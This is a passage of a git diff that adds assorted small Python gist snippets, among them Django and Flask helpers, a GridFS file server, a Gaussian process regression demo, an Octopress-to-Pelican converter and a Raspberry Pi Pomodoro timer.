+    if args.images > 0 and args.images < df.shape[0]:
+        df = df.iloc[:args.images]
+
+    # Make directory for images and get local filenames.
+    if training_dirname is None:
+        training_dirname = os.path.join(caffe_dirname, 'data/flickr_style')
+    images_dirname = os.path.join(training_dirname, 'images')
+    if not os.path.exists(images_dirname):
+        os.makedirs(images_dirname)
+    df['image_filename'] = [
+        os.path.join(images_dirname, _.split('/')[-1]) for _ in df['image_url']
+    ]
+
+    # Download images.
+    num_workers = args.workers
+    if num_workers <= 0:
+        num_workers = multiprocessing.cpu_count() + num_workers
+    print('Downloading {} images with {} workers...'.format(
+        df.shape[0], num_workers))
+    pool = multiprocessing.Pool(processes=8)
+    map_args = zip(df['image_url'], df['image_filename'])
+    results = pool.map(download_image,map_args)
+
+    # Only keep rows with valid images, and write out training file lists.
+    df = df[results]
+    for split in ['train', 'test']:
+        split_df = df[df['_split'] == split]
+        filename = os.path.join(training_dirname, '{}.txt'.format(split))
+        split_df[['image_filename', 'label']].to_csv(
+            filename, sep=' ', header=None, index=None)
+    print('Writing train/val for {} successfully downloaded images.'.format(
+        df.shape[0]))
\ No newline at end of file
diff --git a/hard-gists/48d92d4153754aea4504/._snippet.py b/hard-gists/48d92d4153754aea4504/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/48d92d4153754aea4504/._snippet.py differ
diff --git a/hard-gists/48d92d4153754aea4504/snippet.py b/hard-gists/48d92d4153754aea4504/snippet.py
new file mode 100644
index 00000000..4c7efb7d
--- /dev/null
+++ b/hard-gists/48d92d4153754aea4504/snippet.py
@@ -0,0 +1,11 @@
+from django.conf import settings
+
+
+class MultiPortMiddleware(object):
+    """
+    Middleware changes the SESSION_COOKIE_NAME to use the current port in the name
+    """
+
+    def process_request(self, request):
+        settings.SESSION_COOKIE_NAME = 'sessionid' + request.META['SERVER_PORT']
+        return None
\ No newline at end of file
diff --git a/hard-gists/492713/._snippet.py b/hard-gists/492713/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/492713/._snippet.py differ
diff --git a/hard-gists/492713/snippet.py b/hard-gists/492713/snippet.py
new file mode 100644
index 00000000..be7055f4
--- /dev/null
+++ b/hard-gists/492713/snippet.py
@@ -0,0 +1,73 @@
+from flask import Flask, request, redirect, url_for, make_response, abort
+from werkzeug import secure_filename
+from pymongo import Connection
+from pymongo.objectid import ObjectId
+from gridfs import GridFS
+from gridfs.errors import NoFile
+
+ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])
+DB = Connection().gridfs_server_test
+FS = GridFS(DB)
+
+app = Flask(__name__)
+
+def allowed_file(filename):
+    return '.' in filename and \
+            filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS
+
+@app.route('/', methods=['GET', 'POST'])
+def upload_file():
+    if request.method == 'POST':
+        file = request.files['file']
+        if file and allowed_file(file.filename):
+            filename = secure_filename(file.filename)
+            oid = FS.put(file, content_type=file.content_type, filename=filename)
+            return redirect(url_for('serve_gridfs_file', oid=str(oid)))            
+    return '''
+    <!DOCTYPE html>
+    <html>
+    <head>
+    <title>Upload new file</title>
+    </head>
+    <body>
+    <h1>Upload new file</h1>
+    <form action="" method="post" enctype="multipart/form-data">
+    <p><input type="file" name="file"></p>
+    <p><input type="submit" value="Upload"></p>
+    </form>
+    <a href="%s">All files</a>
+    </body>
+    </html>
+    ''' % url_for('list_gridfs_files')
+
+@app.route('/files')
+def list_gridfs_files():
+    files = [FS.get_last_version(file) for file in FS.list()]
+    file_list = "\n".join(['<li><a href="%s">%s</a></li>' % \
+                            (url_for('serve_gridfs_file', oid=str(file._id)), file.name) \
+                            for file in files])
+    return '''
+    <!DOCTYPE html>
+    <html>
+    <head>
+    <title>Files</title>
+    </head>
+    <body>
+    <h1>Files</h1>
+    <ul>
+    %s
+    </ul>
+    <a href="%s">Upload new file</a>
+    </body>
+    </html>
+    ''' % (file_list, url_for('upload_file'))
+
+@app.route('/files/<oid>')
+def serve_gridfs_file(oid):
+    try:
+        file = FS.get(ObjectId(oid))
+        response = make_response(file.read())
+        response.mimetype = file.content_type
+        return response
+    except NoFile:
+        abort(404)
\ No newline at end of file
diff --git a/hard-gists/492858/._snippet.py b/hard-gists/492858/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/492858/._snippet.py differ
diff --git a/hard-gists/492858/snippet.py b/hard-gists/492858/snippet.py
new file mode 100644
index 00000000..3947b17c
--- /dev/null
+++ b/hard-gists/492858/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+#
+# tap -> flume
+#
+# requires: python thrift bindings + compiled flume thrift binding.
+#
+
+import sys
+import time
+import struct
+
+from thrift import Thrift
+from thrift.transport import TSocket
+from thrift.transport import TTransport
+from thrift.protocol import TBinaryProtocol
+
+sys.path.extend(['ep_man', 'thriftflume'])
+
+import tap
+import memcacheConstants
+
+from flume import ThriftFlumeEventServer
+
+class FlumeDest(object):
+
+    def __init__(self, host, port):
+        self.transport = TSocket.TSocket(host, port)
+        self.transport = TTransport.TBufferedTransport(self.transport)
+        self.protocol = TBinaryProtocol.TBinaryProtocol(self.transport)
+
+        self.client = ThriftFlumeEventServer.Client(self.protocol)
+        self.transport.open()
+
+        self.n = 0
+
+    def __call__(self, identifier, cmd, extra, key, val, cas):
+        if cmd == memcacheConstants.CMD_TAP_MUTATION:
+            assert key is not None
+            assert val is not None
+            el, flags, ttl, iflags, exp = struct.unpack(memcacheConstants.TAP_MUTATION_PKT_FMT,
+                                                        extra)
+            pri = ThriftFlumeEventServer.Priority.INFO
+            evt = ThriftFlumeEventServer.ThriftFlumeEvent(timestamp=int(time.time()),
+                                                          priority=pri,
+                                                          body=val,
+                                                          nanos=0,
+                                                          host='localhost',
+                                                          fields={'key': key,
+                                                                  'flags': str(flags),
+                                                                  'iflags': str(iflags),
+                                                                  'exp': str(exp)})
+            self.client.append(evt)
+            self.n += 1
+            if (self.n % 1000) == 0:
+                print self.n
+
+if __name__ == '__main__':
+
+    dest = FlumeDest('localhost', 1234)
+
+    tap.mainLoop(sys.argv[1:], dest)
diff --git a/hard-gists/493065/._snippet.py b/hard-gists/493065/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/493065/._snippet.py differ
diff --git a/hard-gists/493065/snippet.py b/hard-gists/493065/snippet.py
new file mode 100644
index 00000000..c332104c
--- /dev/null
+++ b/hard-gists/493065/snippet.py
@@ -0,0 +1,9 @@
+from json import JSONEncoder
+from pymongo.objectid import ObjectId
+
+class MongoEncoder(JSONEncoder):      
+    def _iterencode(self, o, markers=None):
+        if isinstance(o, ObjectId):
+            return """ObjectId("%s")""" % str(o)
+        else:
+            return JSONEncoder._iterencode(self, o, markers)
\ No newline at end of file
diff --git a/hard-gists/4948282/._snippet.py b/hard-gists/4948282/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4948282/._snippet.py differ
diff --git a/hard-gists/4948282/snippet.py b/hard-gists/4948282/snippet.py
new file mode 100644
index 00000000..add31f91
--- /dev/null
+++ b/hard-gists/4948282/snippet.py
@@ -0,0 +1,34 @@
+from flask import request, Flask
+from flask.ext import restful
+
+
+
+class Api(restful.Api):
+    def __init__(self, app, prefix='', default_mediatype='application/json',
+            decorators=None):
+        super(Api, self).__init__(app, prefix, default_mediatype, decorators)
+
+        app.handle_exception = self.handle_exception
+        app.handle_user_exception = self.handle_user_exception
+
+        self.endpoints = {}
+
+    def add_resource(self, resource, *urls, **kwargs):
+        super(Api, self).add_resource(resource, *urls, **kwargs)
+
+        endpoint = kwargs.get('endpoint', resource.__name__.lower())
+        self.endpoints[endpoint] = list()
+        for url in urls:
+            self.endpoints[endpoint].append(self.prefix + url)
+
+    def handle_exception(self, e):
+        if(request.endpoint in self.endpoints.keys()):
+            return super(Api, self).handle_error(e)
+        else:
+            return Flask.handle_exception(self.app, e)
+
+    def handle_user_exception(self, e):
+        if(request.endpoint in self.endpoints.keys()):
+            return super(Api, self).handle_error(e)
+        else:
+            return Flask.handle_user_exception(self.app, e)
diff --git a/hard-gists/4950253/._snippet.py b/hard-gists/4950253/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4950253/._snippet.py differ
diff --git a/hard-gists/4950253/snippet.py b/hard-gists/4950253/snippet.py
new file mode 100644
index 00000000..1a41cd3e
--- /dev/null
+++ b/hard-gists/4950253/snippet.py
@@ -0,0 +1,81 @@
+import os
+import ycm_core
+from clang_helpers import PrepareClangFlags
+
+# Set this to the absolute path to the folder (NOT the file!) containing the
+# compile_commands.json file to use that instead of 'flags'. See here for
+# more details: http://clang.llvm.org/docs/JSONCompilationDatabase.html
+# Most projects will NOT need to set this to anything; you can just change the
+# 'flags' list of compilation flags. Notice that YCM itself uses that approach.
+compilation_database_folder = ''
+
+# These are the compilation flags that will be used in case there's no
+# compilation database set.
+flags = [
+    '-Wall',
+    '-std=c++11',
+    '-stdlib=libc++',
+    '-x',
+    'c++',
+    '-I',
+    '.',
+    '-isystem',
+    '/usr/lib/c++/v1'
+]
+
+if compilation_database_folder:
+    database = ycm_core.CompilationDatabase(compilation_database_folder)
+else:
+    database = None
+
+
+def DirectoryOfThisScript():
+    return os.path.dirname(os.path.abspath(__file__))
+
+
+def MakeRelativePathsInFlagsAbsolute(flags, working_directory):
+    if not working_directory:
+        return flags
+    new_flags = []
+    make_next_absolute = False
+    path_flags = ['-isystem', '-I', '-iquote', '--sysroot=']
+    for flag in flags:
+        new_flag = flag
+
+        if make_next_absolute:
+            make_next_absolute = False
+            if not flag.startswith('/'):
+                new_flag = os.path.join(working_directory, flag)
+
+        for path_flag in path_flags:
+            if flag == path_flag:
+                make_next_absolute = True
+                break
+
+            if flag.startswith(path_flag):
+                path = flag[len(path_flag):]
+                new_flag = path_flag + os.path.join(working_directory, path)
+                break
+
+        if new_flag:
+            new_flags.append(new_flag)
+    return new_flags
+
+
+def FlagsForFile(filename):
+    if database:
+        # Bear in mind that compilation_info.compiler_flags_ does NOT return a
+        # python list, but a "list-like" StringVec object
+        compilation_info = database.GetCompilationInfoForFile(filename)
+        final_flags = PrepareClangFlags(
+            MakeRelativePathsInFlagsAbsolute(
+                compilation_info.compiler_flags_,
+                compilation_info.compiler_working_dir_),
+            filename)
+    else:
+        relative_to = DirectoryOfThisScript()
+        final_flags = MakeRelativePathsInFlagsAbsolute(flags, relative_to)
+
+    return {
+        'flags': final_flags,
+        'do_cache': True}
diff --git a/hard-gists/4952342/._snippet.py b/hard-gists/4952342/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4952342/._snippet.py differ
diff --git a/hard-gists/4952342/snippet.py b/hard-gists/4952342/snippet.py
new file mode 100644
index 00000000..292ce1e5
--- /dev/null
+++ b/hard-gists/4952342/snippet.py
@@ -0,0 +1,10 @@
+from django.core.files import File
+
+
+f = File(open('path_to_file','r'))
+
+m = MyModel.objects.create(one_field='value')
+
+m.file_field = f
+
+m.save()
\ No newline at end of file
diff --git a/hard-gists/4959534/._snippet.py b/hard-gists/4959534/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4959534/._snippet.py differ
diff --git a/hard-gists/4959534/snippet.py b/hard-gists/4959534/snippet.py
new file mode 100644
index 00000000..72f5f36e
--- /dev/null
+++ b/hard-gists/4959534/snippet.py
@@ -0,0 +1,48 @@
+import kivy
+
+from kivy.app import App
+from kivy.clock import Clock
+from kivy.uix.button import Button
+from kivy.uix.popup import Popup
+from kivy.uix.progressbar import ProgressBar
+from kivy.uix.widget import Widget
+from kivy.properties import ObjectProperty
+
+
+kivy.require('1.5.1')
+
+
+class MyWidget(Widget):
+    
+    progress_bar = ObjectProperty()
+    
+    def __init__(self, **kwa):
+        super(MyWidget, self).__init__(**kwa)
+        
+        self.progress_bar = ProgressBar()
+        self.popup = Popup(
+            title='Download',
+            content=self.progress_bar
+        )
+        self.popup.bind(on_open=self.puopen)
+        self.add_widget(Button(text='Download', on_release=self.pop))
+
+    def pop(self, instance):
+        self.progress_bar.value = 1
+        self.popup.open()
+
+    def next(self, dt):
+        if self.progress_bar.value>=100:
+            return False
+        self.progress_bar.value += 1
+
+    def puopen(self, instance):
+        Clock.schedule_interval(self.next, 1/25)
+
+class MyApp(App):
+    def build(self):
+        return MyWidget()
+
+
+if __name__ in ("__main__"):
+    MyApp().run()
diff --git a/hard-gists/4961824/._snippet.py b/hard-gists/4961824/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4961824/._snippet.py differ
diff --git a/hard-gists/4961824/snippet.py b/hard-gists/4961824/snippet.py
new file mode 100644
index 00000000..a25d3c1e
--- /dev/null
+++ b/hard-gists/4961824/snippet.py
@@ -0,0 +1,18 @@
+import tkinter
+from time import strftime
+#by Luciano Ramalho
+ 
+clock = tkinter.Label()
+ 
+clock.pack()
+clock['font'] = 'Helvetica 120 bold'
+clock['text'] = strftime('%H:%M:%S')
+ 
+def tictac():
+    agora = strftime('%H:%M:%S')
+    if agora != clock['text']:
+        clock['text'] = agora
+    clock.after(100, tictac)
+ 
+tictac()
+clock.mainloop()
\ No newline at end of file
diff --git a/hard-gists/4964727/._snippet.py b/hard-gists/4964727/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4964727/._snippet.py differ
diff --git a/hard-gists/4964727/snippet.py b/hard-gists/4964727/snippet.py
new file mode 100644
index 00000000..d267bee9
--- /dev/null
+++ b/hard-gists/4964727/snippet.py
@@ -0,0 +1,94 @@
+#!/usr/bin/python
+"""
+Author: Jeremy M. Stober
+Program: GP.PY
+Date: Thursday, July 17 2008
+Description: Example of Gaussian Process Regression.
+"""
+
+from numpy import *
+import pylab
+
+class Kernel(object):
+    """
+    Kernel from Bishop's Pattern Recognition and Machine Learning pg. 307 Eqn. 6.63.
+    """
+    def __init__(self,*args):
+        self.thetas = args
+
+    def __call__(self,x,y):
+        exponential = self.thetas[0] * exp( -0.5 * self.thetas[1] * sum( (x - y)**2 ) )
+        linear = self.thetas[3] * dot(x,y)
+        constant = self.thetas[2]
+        return exponential + constant + linear
+
+class OrnsteinKernel(object):
+    """
+    Ornstein-Uhlenbeck process kernel.
+    """
+    def __init__(self,theta):
+        self.theta = theta
+
+    def __call__(self,x,y):
+        return exp(-self.theta * sum(abs(x-y)))
+
+def covariance(kernel, data):
+    return reshape([kernel(x,y) for x in data for y in data], (len(data),len(data)))
+
+def draw_multivariate_gaussian(mean,C):
+    ndim = len(mean)
+    z = random.standard_normal(ndim)
+    
+    # Better numerical stabability than cholskey decomposition for
+    # near-singular matrices C.
+    [U,S,V] = linalg.svd(C)
+    A = U * sqrt(S)
+
+    return mean + dot(A,z)
+
+def train(data,kernel):
+    mean = zeros(len(data))
+    C = covariance(kernel,data)
+    return (mean,C)
+
+def predict(x, data, kernel, C, t):
+    """
+    The prediction equations are from Bishop pg 308. eqns. 6.66 and 6.67.
+    """
+
+    k = [kernel(x,y) for y in data]
+    Cinv = linalg.inv(C)
+    m = dot(dot(k,Cinv),t)
+    sigma = kernel(x,x) - dot(dot(k,Cinv),k)
+    return (x,m,sigma)
+
+#kernel = OrnsteinKernel(1.0)
+kernel = Kernel(1.0, 64.0, 0.0, 0.0)
+
+# Some sample training points.
+xpts = random.rand(10) * 2 - 1
+
+# In the context of Gaussian Processes training means simply
+# constructing the kernel (or Gram) matrix.
+(m,C) = train(xpts, kernel)
+
+# Now we draw from the distribution to sample from the gaussian prior.
+t = draw_multivariate_gaussian(m,C)
+
+pylab.figure(0)
+pylab.plot(xpts, t, "+")
+
+# Instead of regressing against some known function, lets just see
+# what happens when we predict based on the sampled prior. This seems
+# to be what a lot of other demo code does.
+
+# Explore the results of GP regression in the target domain.
+predictions = [predict(i,xpts,kernel,C,t) for i in arange(-1,1,0.01)]
+
+pylab.figure(1)
+x = [prediction[0] for prediction in predictions]
+y = [prediction[1] for prediction in predictions]
+sigma = [prediction[2] for prediction in predictions]
+pylab.errorbar(x,y,yerr=sigma)
+
+pylab.show()
diff --git a/hard-gists/4972374/._snippet.py b/hard-gists/4972374/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4972374/._snippet.py differ
diff --git a/hard-gists/4972374/snippet.py b/hard-gists/4972374/snippet.py
new file mode 100644
index 00000000..9955f36f
--- /dev/null
+++ b/hard-gists/4972374/snippet.py
@@ -0,0 +1,141 @@
+#!/usr/bin/env python
+
+import os
+import yaml
+import datetime
+from collections import OrderedDict
+
+__doc__ = 'A quick script for converting octopress posts (markdown source files) to pelican posts'
+
+
+# configure following variables according to your blog
+blog_author = 'Vineet Naik'
+
+# a sorted order of metadata for consistency
+metadata_order = ['Title', 'Author', 'Date', 'Tags', 'Category', 'Summary']
+
+
+def octopress_files(path):
+    def is_md(f):
+        return os.path.splitext(f)[1] in ('.md', '.markdown')
+    return (os.path.join(path, f) for f in os.listdir(path) if is_md(f))
+
+
+def parse(lines):
+    """Parses lines of an octopress markdown file and returns an un-named
+    tuple of metadata dict and body of the post in that order
+
+    """
+    in_yaml = False
+    metadata = []
+    body = []
+    for line in lines:
+        if line == '---' and not in_yaml:
+            in_yaml = True
+        elif line == '---' and in_yaml:
+            in_yaml = False
+        elif in_yaml:
+            metadata.append(line)
+        else:
+            body.append(line)
+    return (yaml.load('\n'.join(metadata)), '\n'.join(body))
+
+
+def pelicanize(filepath):
+    """Takes a path to octopress post file and `pelicanizes` it. Returns
+    an un-named tuple of the pelican post filename and the post in
+    that order
+
+    """
+    with open(filepath) as f:
+        lines = (line.rstrip('\n') for line in f)
+        yml, content = parse(lines)
+        metadata = pelicanize_metadata(yml)
+        body = pelicanize_body(content)
+        content = ''
+        for k, v in metadata.iteritems():
+            content += '%s: %s\n' % (k, v)
+        content += '\n'
+        content += body
+    filename = pelicanize_filename(os.path.basename(filepath))
+    return (filename, content)
+
+
+def pelicanize_filename(filename):
+    """Gets rid of date portion in the octopress filenames"""
+    name, ext = os.path.splitext(filename)
+    return '%s.md' % ('-'.join(name.split('-')[3:]),)
+
+
+def pelicanize_metadata(metadata):
+    """Converts the octopress style metadata (yaml in md files) to pelican
+    style metadata.
+
+    Basically, removes unnecessary data, capitalizes the keys and
+    sorts in a standard order (not a pelican requirement, but rather
+    to maintain consistency)
+
+    """
+    not_required = ('layout', 'link', 'published', 'comments')
+    metadata = dict([(k, ', '.join(v) if type(v)==list else v)
+                     for k, v in metadata.iteritems()
+                     if k not in not_required])
+    metadata['date'] = str(metadata['date'])
+    metadata['Summary'] = ''
+    metadata['Author'] = blog_author
+    if 'categories' in metadata:
+        metadata['Category'] = metadata['categories']
+        del metadata['categories']
+    meta = dict(zip(map(str.capitalize, metadata.keys()), metadata.values()))
+
+    return OrderedDict(sorted(meta.items(), 
+                              cmp=lambda x, y: cmp(metadata_order.index(x[0]),
+                                                   metadata_order.index(y[0]))))
+
+
+def pelicanize_body(body):
+    return body
+
+
+def test():
+    orig = '2012-05-04-own-the-editor.markdown'
+    assert pelicanize_filename(orig) == 'own-the-editor.md'
+
+    octo_meta = {'categories': ['jquery', 'javascript'],
+                 'comments': True,
+                 'date': datetime.datetime(2009, 8, 23, 23, 47, 23),
+                 'layout': 'post',
+                 'link': 'http://vineetnaik.me/blog/2009/08/a-self-made-jquery-slider/',
+                 'published': True,
+                 'tags': ['jquery',
+                          'slider',
+                          'image gallery'],
+                 'title': 'A self made Jquery slider'}
+    pelican_meta = pelicanize_metadata(octo_meta)
+    for k in ('comments', 'layout', 'link', 'published'):
+        assert not k in pelican_meta
+
+    assert pelican_meta['Category'] == 'jquery, javascript'
+    assert pelican_meta['Tags'] == 'jquery, slider, image gallery'
+    assert pelican_meta['Title'] == 'A self made Jquery slider'
+    assert pelican_meta['Date'] == '2009-08-23 23:47:23'
+    assert pelican_meta['Author'] == blog_author
+    
+    print 'All tests pass.'    
+
+
+if __name__ == '__main__':
+    import argparse
+    
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument('-s', '--source', required=True, help='Source dir or path to the octopress source files')
+    parser.add_argument('-t', '--target', required=True, help='Target dir or path to the output directory')
+    args = parser.parse_args()
+
+    source_files = octopress_files(args.source)
+    pelican_posts = (pelicanize(x) for x in source_files)
+    for (filename, post) in pelican_posts:
+        print filename
+        with open(os.path.join(args.target, filename), 'w') as f:
+            f.write(post)
+    
diff --git a/hard-gists/4973958/._snippet.py b/hard-gists/4973958/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4973958/._snippet.py differ
diff --git a/hard-gists/4973958/snippet.py b/hard-gists/4973958/snippet.py
new file mode 100644
index 00000000..9a7910a9
--- /dev/null
+++ b/hard-gists/4973958/snippet.py
@@ -0,0 +1,45 @@
+from django.forms.models import model_to_dict
+
+
+class ModelDiffMixin(object):
+    """
+    A model mixin that tracks model fields' values and provide some useful api
+    to know what fields have been changed.
+    """
+
+    def __init__(self, *args, **kwargs):
+        super(ModelDiffMixin, self).__init__(*args, **kwargs)
+        self.__initial = self._dict
+
+    @property
+    def diff(self):
+        d1 = self.__initial
+        d2 = self._dict
+        diffs = [(k, (v, d2[k])) for k, v in d1.items() if v != d2[k]]
+        return dict(diffs)
+
+    @property
+    def has_changed(self):
+        return bool(self.diff)
+
+    @property
+    def changed_fields(self):
+        return self.diff.keys()
+
+    def get_field_diff(self, field_name):
+        """
+        Returns a diff for field if it's changed and None otherwise.
+        """
+        return self.diff.get(field_name, None)
+
+    def save(self, *args, **kwargs):
+        """
+        Saves model and set initial state.
+        """
+        super(ModelDiffMixin, self).save(*args, **kwargs)
+        self.__initial = self._dict
+
+    @property
+    def _dict(self):
+        return model_to_dict(self, fields=[field.name for field in
+                             self._meta.fields])
\ No newline at end of file
diff --git a/hard-gists/4981937/._snippet.py b/hard-gists/4981937/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4981937/._snippet.py differ
diff --git a/hard-gists/4981937/snippet.py b/hard-gists/4981937/snippet.py
new file mode 100644
index 00000000..97a73a2b
--- /dev/null
+++ b/hard-gists/4981937/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+import freenect
+import time
+import sys
+
+TILT_MAX = 30
+TILT_STEP = 10
+TILT_START = 0
+
+if sys.argv[1]: TILT_MAX = int(sys.argv[1])
+if sys.argv[2]: TILT_STEP = int(sys.argv[2])
+if sys.argv[2]: TILT_START = int(sys.argv[3])
+
+ctx = freenect.init()
+dev = freenect.open_device(ctx, freenect.num_devices(ctx) - 1)
+
+if not dev:
+    freenect.error_open_device()
+
+print "Starting TILT Cycle"
+for tilt in xrange(TILT_START, TILT_MAX+TILT_STEP, TILT_STEP):
+    print "Setting TILT: ", tilt
+    freenect.set_tilt_degs(dev, tilt)
+    time.sleep(3)
+
+freenect.set_tilt_degs(dev, 0)
\ No newline at end of file
diff --git a/hard-gists/4988673/._snippet.py b/hard-gists/4988673/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4988673/._snippet.py differ
diff --git a/hard-gists/4988673/snippet.py b/hard-gists/4988673/snippet.py
new file mode 100644
index 00000000..84208521
--- /dev/null
+++ b/hard-gists/4988673/snippet.py
@@ -0,0 +1,210 @@
+#!/usr/bin/python
+
+# A Pomodoro timer!
+# Built for the Raspberry Pi
+# 
+# http://en.wikipedia.org/wiki/Pomodoro_Technique
+# https://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code/blob/master/Adafruit_LEDBackpack/Adafruit_7Segment.py
+# https://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code/blob/master/Adafruit_LEDBackpack/Adafruit_LEDBackpack.py
+# https://github.com/adafruit/Adafruit-Raspberry-Pi-Python-Code/blob/master/Adafruit_I2C/Adafruit_I2C.py
+# 
+# Author Ando Roots <ando@sqroot.eu> 2013
+
+import time, sys, datetime
+from Adafruit_7Segment import SevenSegment
+import RPi.GPIO as GPIO
+
+class Pomodoro:
+	
+	# Button to start / pause the timer
+	BUTTON_START = 18
+	
+	# Button to reset everything
+	BUTTON_RESET = 25
+	
+	# LED pins that show the number of completed Pomodoros
+	LED_1 = 23
+	LED_2 = 17
+	LED_3 = 22
+	LED_4 = 4
+	
+	# Two states: running or paused
+	STATUS_RUNNING = 0
+	STATUS_STANDBY = 1
+	
+	POMODORO_LENGTH = 1500 # 25 minutes
+	
+	# State variables
+	current_status = STATUS_STANDBY
+	elapsed_seconds = 0
+	pomodoros_completed = 0
+	
+	# 7-segment display (run i2cdetect -y 1 to get the addr)
+	segment = SevenSegment(address=0x70)
+	
+	def __init__(self):
+		self.output("Running the program - press Ctrl + C to exit.")
+		
+		GPIO.setmode(GPIO.BCM)
+		
+		GPIO.setup(self.BUTTON_START,GPIO.IN)
+		GPIO.setup(self.BUTTON_RESET,GPIO.IN)
+		
+		GPIO.setup(self.LED_1, GPIO.OUT)
+		GPIO.setup(self.LED_2, GPIO.OUT)
+		GPIO.setup(self.LED_3, GPIO.OUT)
+		GPIO.setup(self.LED_4, GPIO.OUT)
+		
+		self.clear_LEDs()
+		self.output("Initialized. Press START/PAUSE to begin.")
+		
+	def is_button_pressed(self, pin_number):
+		return GPIO.input(pin_number)
+	
+	def clear_LEDs(self):
+		GPIO.output(self.LED_1, False)
+		GPIO.output(self.LED_2, False)
+		GPIO.output(self.LED_3, False)
+		GPIO.output(self.LED_4, False)
+		
+	# Write a 4-digit number to the LCD
+	def write_number(self, value):
+		value = int(value)
+		if value > 9999:
+			print "Value %s is out of bounds, setting to 9999" % value
+			value = 9999
+		value = str(value).zfill(4)
+		self.segment.writeDigit(0, int(value[0]))
+		self.segment.writeDigit(1, int(value[1]))
+		self.segment.writeDigit(3, int(value[2]))
+		self.segment.writeDigit(4, int(value[3]))
+		return self		
+		
+	def get_pressed_button(self):
+		if self.is_button_pressed(self.BUTTON_START):
+			return self.BUTTON_START
+		if self.is_button_pressed(self.BUTTON_RESET):
+			return self.BUTTON_RESET
+		return None
+	
+	def output(self, text):
+		current_time = time.strftime("%H:%M:%S", time.gmtime())
+		print "[%s] %s" % (current_time, text)
+		
+	def reset(self):
+		self.output("Reset - press START/PAUSE to run.")
+		self.current_status = self.STATUS_STANDBY
+		self.pomodoros_completed = 0
+		self.elapsed_seconds = 0
+		self.clear_LEDs()
+		self.segment.disp.clear()
+		self.segment.setColon(0)
+	
+	def start(self):
+		self.output("Starting...")
+		self.current_status = self.STATUS_RUNNING
+	
+	def standby(self):
+		if self.current_status is self.STATUS_STANDBY:
+			self.output("Continuing")
+			self.current_status = self.STATUS_RUNNING
+		else:
+			self.output("Standby mode - press START/PAUSE to continue.")
+			self.current_status = self.STATUS_STANDBY
+		self.segment.setColon(GPIO.IN)
+	
+	def process_button_presses(self):
+		pressed_btn = self.get_pressed_button()
+		if pressed_btn is None:
+			return
+	
+		if pressed_btn is self.BUTTON_RESET:
+			self.reset()
+		else:
+			if self.current_status is self.STATUS_STANDBY:
+				self.start()
+			else:
+				self.standby()
+			
+		# Debounce
+		time.sleep(0.05)
+		
+		# Wait for the button to be released
+		while self.get_pressed_button() is not None:
+			time.sleep(0.05)
+	
+	def seconds_to_hm(self, seconds):
+		time_string = str(datetime.timedelta(seconds=seconds))
+		return time_string[2:4] + time_string[5:7]
+	
+	# Light N number of LEDs
+	def activate_n_LEDs(self, no_of_LEDs):
+		self.clear_LEDs()
+		if no_of_LEDs is 1:
+			GPIO.output(self.LED_1, True)
+		elif no_of_LEDs is 2:
+			GPIO.output(self.LED_1, True)
+			GPIO.output(self.LED_2, True)
+		elif no_of_LEDs is 3:
+			GPIO.output(self.LED_1, True)
+			GPIO.output(self.LED_2, True)
+			GPIO.output(self.LED_3, True)
+		else:
+			GPIO.output(self.LED_1, True)
+			GPIO.output(self.LED_2, True)
+			GPIO.output(self.LED_3, True)
+			GPIO.output(self.LED_4, True)
+		
+	def complete_pomodoro(self):
+		if self.pomodoros_completed == 4:
+			self.output("Four Pomodoros completed! Time for a longer break.")
+			self.reset()
+			return
+		
+		self.pomodoros_completed += 1
+		self.elapsed_seconds = 0
+		self.output("Pomodoro no #%s completed! Take a short break and press the START/PAUSE when you return." % self.pomodoros_completed)
+		self.activate_n_LEDs(self.pomodoros_completed)
+		self.segment.disp.clear()
+		
+		self.current_status = self.STATUS_STANDBY
+		self.segment.setColon(0)
+		
+	# Main loop
+	def run(self):
+		
+		elapsed_seconds = 0
+		
+		while True:
+			
+			# Check for reset / start / pause btn press
+			self.process_button_presses()
+		
+			# Whether we need to complete the current Pomodoro
+			if self.elapsed_seconds >= self.POMODORO_LENGTH:
+				self.complete_pomodoro()
+				continue
+			
+			# Increase timer when the status is running
+			if self.current_status is self.STATUS_RUNNING:
+				self.elapsed_seconds += 1
+				display_value = self.seconds_to_hm(self.elapsed_seconds)
+				self.write_number(display_value)
+				self.output(display_value)
+				
+				if self.elapsed_seconds % 2 is 0:
+					self.segment.setColon(GPIO.OUT)
+				else:
+					self.segment.setColon(GPIO.IN)
+				
+			time.sleep(1)
+			
+		    
+    # Cleanup on exit
+	def __del__(self):
+		self.segment.disp.clear()
+		GPIO.cleanup()
+		
+		
+# Run the program
+pomodoro = Pomodoro().run()
\ No newline at end of file
diff --git a/hard-gists/4992092/._snippet.py b/hard-gists/4992092/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4992092/._snippet.py differ
diff --git a/hard-gists/4992092/snippet.py b/hard-gists/4992092/snippet.py
new file mode 100644
index 00000000..4249fdcb
--- /dev/null
+++ b/hard-gists/4992092/snippet.py
@@ -0,0 +1,90 @@
